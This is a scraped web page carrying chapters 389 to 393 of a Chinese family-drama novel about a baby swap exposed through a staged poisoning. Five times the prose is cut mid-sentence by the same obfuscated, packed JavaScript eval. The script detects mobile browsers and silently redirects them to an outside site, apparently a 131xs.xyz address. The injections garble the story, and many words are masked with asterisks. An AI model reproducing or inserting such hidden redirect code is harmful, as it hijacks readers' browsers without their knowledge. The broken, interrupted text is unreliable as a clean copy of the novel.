陆贯轩死死拉着他不肯放,“此事由不得她不愿意,黄太医,你只管救人便是。” 方氏的面色几变。 “陆贯轩,你莫不是要对我用强?” 这黄太医和陆知苒是一伙的,自己若当真被强取心头血,岂不是人为刀俎我为鱼肉?到时候,他们随便捏造一个失手的名义,自己就要一命呜呼了。 方氏岂会拿自己的性命开玩笑? 更何况,若这法子当真有用,她的心头血也救不了陆君成,她又何必要白白挨这一刀? 陆贯轩扬手就给了她一记耳光。 “你个自私自利的蠢妇,君儿是你唯一的儿子,你难道要眼睁睁地看着他**?” 方氏有口难言,只能辩解,“若能救君儿,我自然义不容辞,但何时听过取心头血救人的?黄太医这法子只怕欠妥。” 陆贯轩认定了方氏贪生怕死,气得胡子都在抖。 而陆君成将这番话尽数听在了耳中。 他的心底生出一股难言的悲凉。 原来,母亲真的不爱自己。 即便在自己性命垂危的时候,她也不愿意为了救自己而做出半点牺牲。 这时,一旁的方娇忽而发出一声呛咳,旋即呕出一口血来。 那番情形,叫人见之骇然。 方氏完全被骇住了。 她扑上去,高声尖叫,“娇儿,你怎么了娇儿?” 那番焦急担忧的模样,让陆贯轩眉头蹙了起来,陆君成的心底更是一片发凉。 母亲何曾为自己这般焦急上火? 第389章 不干不净的女人 方娇只觉得自己浑身上下都疼得难受,腹部更似有一把刀子在来回反复地搅,叫她痛不欲生。 她用力按抓住方氏的手,眼底盈满祈求。 “娘……” 她低低地唤了一声,方氏赶忙伸手捂住。 好在她太过虚弱,那声音被压在了嗓子底,无人听到。 方娇也意识到自己口误,很快换了称呼。 “姑母,救救我,我好疼,好疼啊……” 方氏听着这话,心几乎碎了。 难道,这黄太医说的法子竟然是真的?真的要亲生母亲的心头血,才能做解毒的药引? 可即便知道这法子,她也不能救啊! 不然,自己当初做的事,岂不是全都被抖出来了? 方氏陷入了前所未有的进退两难,方娇的痛苦呻吟一下下撕扯着她,叫她心痛如绞。 黄太医开口,“陆公子是男子,身体抵抗力强,他的毒性稍轻,尚无大碍。但这位方小姐,情况就有些不乐观,若继续耽搁下去,便是华佗在世,也无能为力。” 这话似一记重锤,狠狠捶在方氏和方娇的头上。 方娇一下用力按抓住了方氏的手,似抓住了一根救命稻草。 那力道之大,抓得方氏手腕一阵发疼,但她却什么都顾不上。 方氏颤抖着声音,“怎,怎会如此?是不是你诊错了?” 自己的医术再次受到质疑,黄太医顿时气得胡子发抖。 他指着方娇,大声道:“这位方小姐刚刚经历了生产,气血皆虚,底子本就比不过旁人……” 他的话还尚未说完,就被方氏不可置信的声音打断。 “你胡说什么!娇儿是清清白白的黄花大闺女,怎会刚刚经历了生产?简直是一派胡言!” 方氏是真的生气,这黄太医定是陆知苒的人无疑,不然也不会说出这样的话,故意毁了娇儿的名声。 黄太医一而再,再而三地被方氏质疑,他的火气也上来了。 “本官在太医院当了几十年的太医,医术就算再不济,也不会连这点脉象都诊不出来!这位方小姐分明就是产后虚浮的症状。你若是不信,大可检查一番她的腹部,若是生产过的女子,腹部会有妊娠纹的痕迹。” 他言之凿凿,方氏都不禁再次看向方娇。 方娇的脸上明显露出了慌乱之色,眼神也微微闪烁起来,手更是飞快松开了方氏,转而护住了自己的腹部,一副生怕方氏真的要动手检查的模样。 下意识作出这番动作,方娇才后知后觉地反应过来,自己这是不打自招了。 她的脸色骤然僵住。 方氏也在她的这些反应中明白了什么,眼底流露出满满的震惊与不可置信。 难怪她迟迟没有进京,原来是躲在滇南生了孩子! 方氏的胸中有一股怒气翻涌,不是冲着方娇,而是冲着方家人。 她的娇儿如此天真单纯,岂会做这般逾矩之事?定是方家人没有保护好她,叫她被恶人欺负了去。 她可怜的娇儿啊。 方氏的心态很快就发生了转变,看向方娇的眼神也从不敢置信,到心疼怜惜。 但陆贯轩可不会对她这般宽容,他只有满腔的愤怒。 “好你个方氏,明知这女人是个别人玩过的破鞋,竟然撮合她与君儿,你这是将君儿的颜面置于何地?有你这般做母亲的吗?方家明知如此,还想攀附我们陆家,简直欺人太甚!” 先前下药害得自己不能人道也就罢了,现在竟然还妄图给他儿子塞一个不干不净的女人,方家人当真是打了一手好算盘! 更可恨的是,方氏这个蠢货也是帮凶之一。 方氏对方娇出言袒护,“老爷,娇儿不是那样的人,她做不出未婚生子之事,这其中定然有误解。” 她不肯承认这件事,也不会让人往方娇的头上泼脏水。 陆贯轩冷笑,“那就让人验一验她的身子,究竟有没有生过孩子,自然一目了然!” 方氏自然不肯。 “她是女儿家,如何能派人给她验身?就算她清清白白,经此一遭,只怕也会被人指点议论。” 他们还在这事上掰扯,方娇已经疼得几乎要晕厥过去。 她觉得,自己真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741590|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要**。 这时,有丫鬟在外头通传,“老爷,夫人,方家二少夫人来了。” 方家二少夫人,便是方成才的夫人,也就是方娇名义上的母亲。 方氏愣住。 谁把她喊来的? 陆知苒主动开口,“救人刻不容缓,方表妹不便挪动,我便自作主张,把方家二舅母请来了。” 方氏嘴唇抖动,眼底含怒地看着陆知苒。 陆知苒再次回她以微笑。 方氏的心狠狠一沉,那股不好的预感越发强烈。 陆知苒这次分明是不达目的不罢休! 方二夫人谢氏匆匆而来,她只听说方娇出了事,但具体发生了何事却不得而知。 直到到了这里,丫鬟才将事情的始末道来。 听到要取病患亲生母亲的心头血,谢氏的眸光立马朝方氏看去,方氏的脸色笼着一层阴霾。 陆知苒:“二舅母,是我们陆家疏忽大意才让表妹**,实在过意不去。眼下救人要紧,才把舅母寻来,舅母勿怪。方表妹的情况十分要紧,只能让二舅母受累了。” 谢氏道:“陆少爷也中了毒,不知是否取了心头血救治?” 陆知苒面露难色,“尚未,母亲她有所顾虑。” 谢氏问,“若不是亲生血缘,用了心头血做药引,会有什么后果?” 黄太医一脸严肃,“病患会立时七窍流血而亡。” 谢氏冷幽幽地看向她们,“这心头血我敢取,不知你们是否敢让她用。” 方氏的面色顿时变得无比难看,方娇则是满脸死气与惨白。 陆知苒故作不解,“二舅母这话是何意?娇儿表妹难道不是你的亲生女儿吗?” 谢氏淡淡道:“我可没有福气,生得出这样的女儿。” 这就是个不知廉耻的贱蹄子! 当初,方成才把她抱回来,记在谢氏的名下,谎称是他在外头生的女儿,谢氏对她就恨得不行。 但奈何方成才将她视作掌上明珠,公婆亦疼爱她,谢氏没法对她做些什么。 真正让谢氏对方娇深恶痛绝的,是她勾引自己的儿子! 第390章 野种 谢氏撞破了他们二人的丑事,气得险些昏厥过去。 兄妹苟合,这传出去,她儿子的前程就毁了。 她当时就要把方娇乱棍打死,被方成才拦了下来。 这时,方成才终于把方娇的身份道出。 他们并非亲兄妹,而是表兄妹。 表兄妹联姻者不乏少数,方成才觉得他们之间不算出格。 谢氏却被这个真相震惊得回不过神来。 她震撼于方氏的胆大包天,也恼怒方家上下所有人都帮着方氏瞒天过海,独独瞒了自己。 知道了这个真相,她对方娇更添厌恶。 她本就不喜方氏这个小姑子,自己刚刚嫁过来之时,没少被方氏刁难,对于她的女儿,谢氏自然喜欢不起来。 而今出了这档子事,谢氏心里简直乐开了花。 她倒要看看,这对母女要怎么办,她这个小姑子又会如何选择。 究竟是死守这个秘密,还是主动招认,救下她的心肝宝贝? 许是气急攻心,激发了毒素,方娇觉得自己腹中更加难受,整个人都似被撕裂了一般。 她没忍住,又“哇”地吐出一口血。 这一次的血,赫然带着些许浓黑之色。 方氏的衣裳也被血沾染,分外触目惊心。 她用力抓着方氏的手,“我快**,救救我,救救我,我不想死……” 方氏哭得难以自抑,又只能哀求地看向黄太医。 “黄太医,还有什么其他法子?求求你,快救救她吧,她马上就要不行了……” 黄太医摇头,“法子我已经说了,只是你们若寻不到她的亲生母亲,便是大罗神仙来了也没用。” 方氏不相信,她扑向陆知苒,什么都顾不上了,朝她跪下,砰砰磕头。 “苒姐儿,以前是我错了,我待你不好,你有什么便冲着我来,放过娇儿吧,算我求你了。” 陆知苒蹙眉,困惑不解地看着她。 “母亲,你这是何意?我怎么听不懂?” 其他人也都一头雾水。 方氏一口咬定,“你定有其他法子救娇儿,对不对?求求你,把解药拿出来吧,娇儿是无辜的,她不应该受到牵连啊。” 陆知苒满脸茫然,“母亲,我若有解药,一开始就拿出来了,又何须等到现在?您这是着急上火,糊涂了不成?” 这时,方娇开始抽搐,嘴巴也吐出了白沫来。 黄太医道了句不好,赶忙上前,飞快给她施针,又塞了一颗不知道什么药丸进嘴里。 如此一番,方娇才慢慢平静下来。 但是她明显感觉自己的呼吸更加沉重了,每呼吸一次,心口就疼痛几分。 她更加清晰地感受到了死亡的逼近。 求生的本能越过了理智,方娇嘶哑着声音,朝着方氏开口。 “娘,娘亲,救救我……” 她看着方氏,方氏却根本不敢回应她。 陆知苒疑惑,“表妹怎么冲着母亲喊娘亲?看来表妹的确**颇深,神志都开始糊涂了。” 方娇却道:“不,我,我没有糊涂,她就是我娘亲……娘,您当初狠心把我换走,难道您现在还要对我见死不救吗?您口口声声说爱我,亏欠我,而今,您又要放弃我一次吗?” 方氏这番话说得艰难,每一个字都咬得很用力,在场所有人都听到了,方氏瞬间心如死灰。 陆贯轩一脸震惊,“你说什么?你把话说清楚!” 方娇急急开口,“父亲,我是你女儿啊父亲,我刚出生就被抱到了舅舅家,但是身上流着的是陆家的血,您看看我的容貌,您认不出女儿来吗?” 陆贯轩被这番话震得瞳孔放大,似石化一般,一动不动。 陆君成原本脑袋昏昏沉沉,这一番话叫他瞬间清醒,满脸难以置信。 方娇是陆家的血脉,那自己呢?他,是谁? 陆知苒故作震惊,“方表妹,你莫不是脑子糊涂了?你怎么可能是陆家的血脉?当初母亲怀的明明不是双生子。” 方娇急切道:“母亲只生了我一个,陆君成是从外面抱回来的野种!母亲的心头血救不了他,只能救我!” “野种”两个字落下,陆君成的心口似被重锤狠狠捶了一记。 原来,如此。 难怪从小到大,他都不被母亲喜爱。 无论他做什么,母亲都是挑剔,嫌弃。 陆知苒摇头不信,“母亲怎么可能做得出这等混淆陆家血脉的糊涂事?这简直太匪夷所思了,定是你犯糊涂了。” 方娇言之凿凿,“我没有犯糊涂,我说的都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15741591|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是实话,母亲必须有个儿子傍身,才能稳住自己在陆家的地位,所以才会出此下策。只需让母亲给我献上心头血,就能证明,我才是母亲的亲生女儿!” 陆贯轩双目充血,呼吸艰难,浑身都在颤抖。 他想开口质问,但太过激动,他连话都说不出来,甚至人都有些虚浮,难以站立。 他好好的儿子,竟然是假的?他竟然被那**骗了那么久? 那他陆家的香火,岂不是断了? 难怪他对陆君成这个儿子总是喜欢不起来,原来他根本就不是自己的种! 自己这是白白地替别人养了十几年的儿子啊! 陆知苒及时地扶住了他,“父亲,此事尚未弄清楚,您先别激动。” 所有人都看向方氏。 “母亲,此事没人比你更清楚来龙去脉,事实究竟如何,请您给出一个交代吧。” 方氏舌头发僵,脑子乱成一团,想说话,却半个字都吐不出来。 她不敢承认,也不能否认,她被逼上了绝路。 气急攻心之下,她眼睛一翻,竟直接晕了过去。 陆贯轩见到方氏的这番反应,哪里还有什么不明白的? 若她没做过这些事,早就矢口否认了,岂会这般哑口无言? 这个打击对他来说太大了,他也一阵气急攻心,跟着晕了过去。 二人接连晕倒,现场瞬间乱作一团。 谢氏嘲讽地看着这一片混乱,心中一片快意。 这对**母女,终于得到报应了。 陆君成静静地躺在床上,脑子一片空白,外界的喧嚣都没有入他的耳,也没有入他的心。 一开始的震惊之后,他很快就平和了,脸上缓缓露出了一抹笑。 他不是陆家的血脉。 他觉得自己肩上的担子一下就卸掉了,整个人都轻松了。 他的生父生母不知在何方,所以,没人给他献心头血。 他应该快要**吧。 他心中没有半点对死亡的恐惧,仿若有种如释重负的解脱。 **,就不用再没日没夜地读书,不用整夜整夜地睡不着,也不用担心自己稍有不慎,就要受到责骂。 **真好啊。 陆君成唇角带笑,阖上了双眼,一点点慢慢失去了意识。 第391章 方氏的下场 陆君成觉得自己浑身上下软绵绵的,半点力气都提不起来。 喉咙很干,想喝水,他嘴唇动了动,却半点声音都没能发出。 他是不是已经**? 原来,这就是**的感觉吗? 他以为,**之后自己就能恢复行动自由,抑或像阿飘那样,能自由自在地飘来飘去。 但事实似乎并非如此。 难道自己便是做了鬼,也比旁人要凄惨一些? 唇角泛起一抹苦笑。 忽而,他听到了一道熟悉的声音。 “少爷,您醒了吗?” 是广平的声音。 陆君成心头陡然一悲,难道,广平也与自己一样**吗? 也是,他只是个冒牌货,依照父亲……依照陆大人的脾性,定然容不下广平。 正叹息间,一勺温热的水被送到了他的唇边,他太渴了,下意识吮吸着。 慢慢的,他身上都恢复了力气,沉重的眼皮也睁开了。 但入目的地方,让他微微愣住。 这里,俨然是一处寻常的厢房,看上去与阴曹地府毫不相干。 广平喜极而泣,“少爷,您终于醒了。” 滚烫的泪低落在他的脸上,陆君成察觉到了些许异常。 “这是,哪里?我,没有死吗?” 他浑身上下依旧没有力气,但比方才已经好了许多。 广平擦掉了脸上的泪,只是声音依旧带着哽咽。 “少爷,您没死,是大小姐救了您。” 陆君成一怔,口中喃喃,“大姐姐……” “老爷实在太狠心了,他完全不顾您的死活,您就算侥幸挺过来了,陆家也要容不下您。” 广平越说越伤心,眼泪又开始吧嗒吧嗒往下掉。 “是大小姐想法子周旋,将您带了出来,又请了名医给您诊治。您已经昏迷了整整三日了。” 陆君成听着这番话,心中升起一股难言的触动。 在这个陆家,也只有大姐姐会无所保留地护着自己。 不用陆君成开口,广平就把后来发生的事一一道来。 当日,方氏和陆贯轩接连昏倒,陆知苒出面主持局面,一面**息,一面让黄太医救治方娇。 方氏的心头血,果然把方娇救活了。 而没有亲生母亲献上心头血,陆君成就这么悄无声息地“**”。 陆贯轩醒后,大发雷霆,与方氏当面对质。 方氏对方娇的身份无从辩解,她便将责任全都推到了旁人的身上。 “是妾身的身边人自作主张,联合方家做了此事,妾身生产时九死一生,哪里顾得上这些?妾身也是在很多年以后才得知真相……” 陆贯轩对她的这番辩解全然不信。 “你当我是傻子呢!就算你当真被蒙在鼓里,那你得知真相的第一时间为何没有坦白?呵呵,你分明就是把我当猴子耍!” 谢氏可不愿自家替她背锅。 她冷冷道:“事实真相如何,把你的身边人都带上来当面对质,自然能见分晓。” 魏嬷嬷被押上来,当着方氏的面行刑。 她倒是硬气,一直死咬着不肯招供,方氏也继续喊冤。 广平说到这儿,语气中满是激愤。 “夫人死活不承认自己当初的所作所为,您猜怎么着,当初接生的稳婆寻上门来了!那稳婆本是要被灭口,但她侥幸捡回了一条命,她上门亲口指认,夫人这才百口莫辩。” “当初,她分明就是早有预谋要掉包孩子,她借着您,在方家站稳脚跟,可这么些年,她对您却没有半分真心!她的心简直比石头还硬!” 陆君成面上神色复杂,“那稳婆,是谁安排的?” 广平微微迟疑,“奴才不知,但夫人一口咬定是大小姐安排的。” 陆君成眸光动了动。 他想到了此前与陆知苒相处的点点滴滴。 她当时问过自己一件事,是否愿意做陆家的孩子,如果不做陆家的孩子,想要做什么? 原来,那个时候,她就已经知道了这件事。 “夫人……后来如何了?” 陆君成已然改了口,对于方氏,他的内心没有怨怪,只有平静。 想到方氏的惨状,广平就觉得解气。 “她啊,被老爷狠狠打了一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744187|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,打得只剩下半口气了。夫人让老爷把她休了,老爷不肯,说那样太便宜她了,要把她留在陆家,日夜折磨,方能消除心头之恨!” 方氏身上带着伤,原本正是最需要休养的时候,却挨了陆贯轩一顿毒打,只剩了一口气。 听到陆贯轩说的那话,方氏彻底陷入绝望。 她只能转而去求谢氏,但谢氏却说这是陆家的家务事,不肯插手。 她甚至连方娇都不愿带走。 “陆大人,这位是陆家的千金,还是留在陆家吧,好叫你们父女团聚。” 陆贯轩看着方娇,眼底满是嫌恶。 “我没有这样不知廉耻的女儿!你们方家也是这件事的主谋,别以为我会把这件事算了,且等着我与你们算账吧!” 谢氏狠狠剜了方娇一眼,这个祸害,当初就不该进方家门,果然是个祸害。 方娇的身子狠狠一颤。 她低下头去,再没了以往在这个舅母面前的嚣张气焰。 陆家容不下她,母亲自身难保,成为不了她的依靠,只有方家能成为她的容身之所,从今以后,她都要在谢氏的手底下讨生活,不得不低头。 方娇被丫鬟搀扶着离开,方氏像一滩烂泥似的瘫在地上,伸出手,无力地拉着她的裙角。 “娇儿,别离开娘……” 别让她一人待在这里,她会被折磨死的。 方娇却没有半分迟疑,一把扯出自己的裙摆,走得毫无留恋。 当初,她便舍弃了自己。 现在,自己不过做了同样的选择罢了。 她没有做错。 她原谅了当初母亲的选择,母亲也没理由责怪自己做出现在的选择。 更何况,她就算留下来也没有半点用处,父亲不肯认她,反而对她厌恶至极,自己留下来,说不定也会丢了性命。 她还有俊哥儿,她不能死。 方氏满脸绝望地看着自己心心念念的女儿离开,眼角流下了两行泪水。 最后,她被拖回了院子,关了起来。 “老爷下令,不许给她请大夫,每日给她一个馒头,让她自生自灭。” 第392章 新的开始 广平对方氏是没有半点同情的,反而觉得大快人心。 他是少爷身边的小厮,比任何人都清楚,这些年少爷在夫人手底下吃了多少苦头,连带着,自己这个下人也备受刁难。 她设计调换了少爷的身份,却不好好待少爷,便是当日,事情真相被揭穿,她对少爷也没有半分愧疚。 直到少爷“咽气”,也没有看他一眼。 这样的人,不值得同情。 广平盼着她死,越惨越好。 但他不知少爷心中是何想法,他不敢明说,只是偷偷用眼神打量少爷。 陆君成的神色平静,无喜无悲,叫人猜不出他心中所想。 半晌,他才问:“她可有说,我的亲生父母是谁?” 广平摇头,“夫人只说,是从一户普通农户家抱来的,具体是哪里,她也不知道。少爷如果想查,可以让大小姐帮忙……” 陆君成摇头,“不必了,我不能一直麻烦大姐姐。” 而且,他也并不想查。 他这辈子,或许注定没有父母亲缘。 即便是找到了,也难以生出感情来。 那便算了吧,各自安好。 广平看着他,欲言又止。 陆君成看了出来,神色淡淡,“有什么话,你便直说吧,没必要吞吞吐吐的。” 广平这才开口,“您现在在外人眼里,已经**……陆家容不得您,今后,您有什么打算?” 陆君成方才就已经猜到了。 这个结果并没有让他觉得沉重,反而有种心头一轻的感觉。 陆家少爷的身份,给他带来的枷锁太沉重了,叫他难以承受。 现在,他们之间的羁绊被斩断,他再无半分负担。 他唇角微弯,露出一抹清浅的笑,“天下之大,总有我的容身之地。只是,我怕是没有能力给你发月钱了,你自去吧。” 广平是他买回来的,**契在他的手里。 早年,他偷偷给广平还了身契,便是离开陆府,广平也不算逃奴。 广平急了,立马在他的床边跪下,砰砰砰地磕了三个响头,磕得十分用力。 “少爷,当初是您救了小的,给了小的一条活路,小的这条命就是您的,您不用给小的月钱,小的愿意跟在您身后伺候您!” 陆君成心头升起一股感动。 但他尚且前途不明,不想让广平跟着自己一起吃苦。 正要开口劝说,外头就传来了脚步声,广平心头一喜,“定是大小姐来看您了,这些天,大小姐天天都来。” 广平立马跑去开门,果然是陆知苒。 他满脸喜色,“大小姐,少爷醒了!” 陆知苒已经预料到。 进了屋,陆君成一副要起身行礼的架势,陆知苒立马将他摁了回去。 “你的药效刚过,还没彻底恢复,好好躺着。更何况,我们姐弟之间,也无需这些虚礼。” 陆君成听到那句“姐弟”,眼眶不禁一阵发涩。 “我并非陆家的血脉……” 陆知苒打断了他,“不管你是不是陆家的血脉,你都是我弟弟。还是说,你不想认我这个姐姐?” 陆君成立马摇头,“当然不是!大姐姐待我恩重如山,我岂有嫌弃的资格?只是我身份如此……” “你并非方氏所出,我待你才会越发真心实意,你不必有什么负担。” 陆君成一愣,旋即不再说什么。 他知道,大姐姐是故意这般说的。 她待自己真心,自己也委实不该一再扭捏,不然反倒让彼此越发生分。 陆知苒转而关心起他的身子,陆君成说一切都好。 “刚醒来时浑身都酸软无力,现在觉得身上已经恢复了力气。” 陆知苒点头,“那就好,再休养几日,按时服药,体内的余毒就能排尽。” 她又道:“陆家的情况你都知道了吗?” 陆君成:“广平已经跟我说了。” “那你有没有什么问题想问我?” 陆君成缓缓摇头,“没有。” “你就没有一点疑惑?” 陆君成缓声道:“我已经猜到了一些。” 陆知苒挑了挑眉,反问,“哦?那你说说看,你都猜到了些什么?” 陆君成有些迟疑,“若我猜得不对,唯恐冒犯了大姐姐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744188|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “无妨,我们姐弟间的闲话罢了,我不会怪罪于你。” 陆君成这才开口,“我与方表妹**,应当是大姐姐安排,需要用亲生母亲的心头血做药引,也是假的。还有那个稳婆,也是大姐姐安排。” 他说完,不禁有些忐忑,眼神下意识地往陆知苒身上瞟,唯恐陆知苒露出不悦。 陆知苒却是笑了。 “君儿,你果然很敏锐,你说得没错,这些都是我安排的。” 为了让方氏亲口承认自己做下的这桩事,陆知苒才想了这么一个法子。 咬了陆君成和方娇的那条蛇其实没有毒,他们只是被下了其他毒 黄太医是萧晏辞的人,他的作用至关重要。 取了方氏的心头血,方娇的毒就解了。 这进一步佐证了方氏与方娇之间的亲母女关系。 ——但实际上起作用的并非心头血,而是黄太医悄悄给她用了解药。 至于陆君成,从始至终无人关注他,他悄无声息的死去,实际上不过是服了假死药罢了。 “给你服用假死药,是我自作主张,你若还想回陆家,我也可以再运作一番,让你死而复生……” 这对她来说并不难。 陆君成连忙摇头,“不,我不想回陆家,大姐姐,我真的不想回去。” 他的语气带上了几分激动与急切。 “或许你会觉得我是白眼狼,但是,陆家对我来说,真的更像是一个牢笼,而不是一个家。以往,我觉得自己身上流着陆家的血,也背负着陆家的责任,但现在……一切对我而言,是最好的安排,我很感激你。” 他的回答在陆知苒的预料之中。 经历了那样巨大的变故,一般人或许会觉得宛若天塌了一般。 但对陆君成而言,的的确确是一件大喜事。 他的人生有了新的开始。 哪怕前途未明,他依旧觉得浑身轻松。 陆知苒在他的眼底重新看到了光。 眼前之人,与先前那个死气沉沉,毫无活力的人相比,已经截然不同了。 陆知苒很高兴看到这样的变化,也由衷地为他感到高兴。 第393章 惨,太惨了 但有一件事,陆知苒必须要提醒他。 “你现在已经**,你的秀才功名也没了,你也不能再继续参加科举。” 陆君成脸上并没有露出失望之色,“我此前便跟姐姐说过,我并不喜欢读书,也不是读书这块料。不需要继续科举,对我而言是一个好消息。” “至于秀才功名,我是替陆家挣来的,我既然已经不是陆家人,就没资格把这份功名带走,我并没有什么遗憾的。” 陆君成的脸上一片坦诚。 陆知苒看着他,觉得他比自己所以为的更加豁达洒脱。 这样的状态,是此前从未有过的。 “你不是说,想给幼儿启蒙吗?没有秀才的功名,你想要顺利谋这个差事,只怕不易。” 陆君成依旧笑得洒脱,“这只是我最初的一个想法,若能成,自然再好不过,若没有此番机缘,也总能寻到其他有意义之事。” 听他这般说,陆知苒当真有些对他刮目相看了。 “经此一事,你成长了很多,着实令我刮目相看。” 陆君成反倒有些不好意思起来,“此前的十几年,我都过得浑浑噩噩,我的人生被推着朝前走的,这是我第一次能为自己的人生做主,或许我很想当然,也有些不知人间疾苦,但我愿意去尝试。” 陆知苒点头,“姐姐支持你。” 她替陆君成安排了一个新的身份,又给他一笔银子。 京城他不适合继续留下来,有了新的身份和那笔银子,他能有一个好的开端。 至于之后的生活,陆知苒觉得他自己能应对。 若当真遇到什么解决不了的问题,他也可以到洛家,或是她的商铺寻求帮助。 陆君成张了张口,一时说不出话来。 “别拒绝,这是我这个姐姐应该为你做的。” 陆君成喉头发涩,最后点了点头,声音略带嘶哑。 “大姐姐,谢谢你。” 他想说,日后自己定会报答她。 但话到了嘴边,又咽了回去。 他有什么能力报答她呢?与其把这样的大话挂在嘴边,不如多拿出点实际行动来,先把自己当下的日子过好。 陆知苒又与陆君成闲话一番,叮嘱广平好好照看他,这才离开。 与心境平和,充满希望的陆君成相比,此时的陆贯轩如同一个随时会炸的**,下人们轻则挨骂,动则要挨板子,发卖出去,一个个都伺候得分外小心,唯恐一个不慎就惹他动怒。 陆君成已经对外报丧,他的丧事也办得潦草。 一个身份不明的野种,享受了陆家这么多年的优待,**便算便宜他了,哪里值得陆家再为他大办后事? 若非怕家丑外扬,陆贯轩定是不肯认他这个儿子,要将他移出族谱的。 他心中的苦闷无处排遣,告了长假,日日抱着酒坛子,把自己喝得烂醉如泥。 不明真相的下人们只当他是经历了丧子之痛,所以才会如此颓糜。 但很快,大家就都知道原因了。 陆家的这桩丑闻,不知何故传了出去。 当家主母为了稳固自身地位,竟然偷龙换凤,调换了孩子。 十几年后,这位主母又意图撮合两个孩子,好让自己的女儿能名正言顺地回到自己身边。 但纸包不住火,做过的任何事,终究会留下痕迹。 这件事终于败露,那位老爷的内宅彻底乱了,当家主母被关起来,狠狠折磨,那位假儿子也被悄无声息地料理了。 “这是话本吗?” “什么话本,话本子都不敢这么写。这是实实在在发生的真事!” “这是谁家的事啊?这位主母当真是胆大包天。” “谁家老爷最近**儿子,那便是谁家呗。” 大家都是人精,很快就把目光落在了陆家身上。 这一扒拉,什么都对上了。 再想起这位陆大人前头传出的不能人道的消息,众人对他立马纷纷同情起来。 唯一的嫡子是假的,他还身子有恙,不能再生了。 惨,真惨。 也有人同情陆君成。 他在这件事中是最无辜之人,却成为了唯一的牺牲者。 方娇的身份也被扒了出来。 连带着她与义兄苟且,未婚生子之事也抖了出来。 一时之间,民间都是对她不知廉耻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752896|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的辱骂。 陆贯轩得知事情已经传扬开了,原本混混沌沌的脑子瞬间被怒意填满。 是谁,谁把这件事抖了出去! 从今以后,他还怎么抬起头来做人? 但事已至此,一切覆水难收,他的辩解只会越描越黑。 激愤之下,他提笔写了一封奏折,将方家狠狠参了一本。 方家唆使伙同方氏,调换孩子,混淆陆家血脉。 这么多年来,方家知情不报,其心可诛。 方成才还纵容其子,勾引**方娇,让她未婚生子。 更可恨的是,方家为了吃绝户,对他下药,让他**。 如此行径,简直罪大恶极,若不严惩,不足以震人心,唯恐旁人皆生歹念,纷纷效仿之。 陆贯轩的这封奏折写得慷慨激昂,气愤难当,简直是把自己的伤口扒开,摊在人前,令人听之都不禁为他掬了一把同情泪。 惨,实在太惨了。 御史台也写了参方成才的奏折,一并呈上。 一时之间,方成才成了众矢之的,他跪在御前,两股战战,后背早已冷汗涔涔。 但也有人将矛头指向陆贯轩,以陆君成之死为伐,攻讦他无情无义,迁怒陆君成这个养子,害其性命。 陆贯轩高声辩解,并非自己害了人,而是他中了毒,无药可解,还把黄太医也拉出来当证人。 众人你一言我一语,吵作一团。 德丰帝早就对此事有所耳闻,今日方听了个全乎,他的脸上一片阴沉。 方家,实在太上不得台面。 德丰帝大怒,直接下令将方成才打了一顿板子,又把他的官身给撸了,其子方开元也被剥夺了科举入仕的资格,永不录用。 对于陆贯轩这个苦主,德丰帝心中生出几分同情。 再想到他是瑾王妃的父亲,便多给了他几分脸面,宽慰了他一番,又赏了些东西,让他在家中好好休息一段时日。 什么时候把状态调整好了,再来上朝也不迟。 